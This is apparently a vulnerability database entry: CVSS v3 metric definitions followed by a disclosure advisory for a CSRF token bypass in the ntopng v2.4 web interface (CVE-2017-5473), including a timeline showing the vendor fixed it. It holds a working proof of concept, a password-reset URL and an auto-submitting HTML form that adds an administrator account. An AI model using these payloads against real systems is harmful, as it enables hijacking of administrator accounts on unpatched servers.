The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
NTOPNG Web Interface v2.4 CSRF Token Bypass[+]#####################################################################################
[+] Credits / Discovery: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
[+]#####################################################################################
Vendor:
============
www.ntop.org
Product:
====================
ntopng Web Interface
v2.4.160627
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.
Vulnerability Type:
==================
CSRF Token Bypass
CVE Reference:
================
CVE-2017-5473
Security Issue:
=================
By simply omitting the CSRF token or supplying arbitrary token values will bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.
Exploit/POC:
============
1) Change admin password
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123
2) Add arbitrary
<form action="http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED" method="GET">
<input type="hidden" name="username" value="hyp3rlinx">
<input type="hidden" name="full_name" value="TheApparitioN">
<input type="hidden" name="password" value="abc123">
<input type="hidden" name="confirm_password" value="abc123">
<input type="hidden" name="host_role" value="administrator">
<input type="hidden" name="allowed_networks" value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface" value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>
Disclosure Timeline:
=====================
Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure
Network Access:
===============
Remote
Impact:
======================
Information Disclosure
Privilege Escalation
Severity:
===========
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX - Apparition
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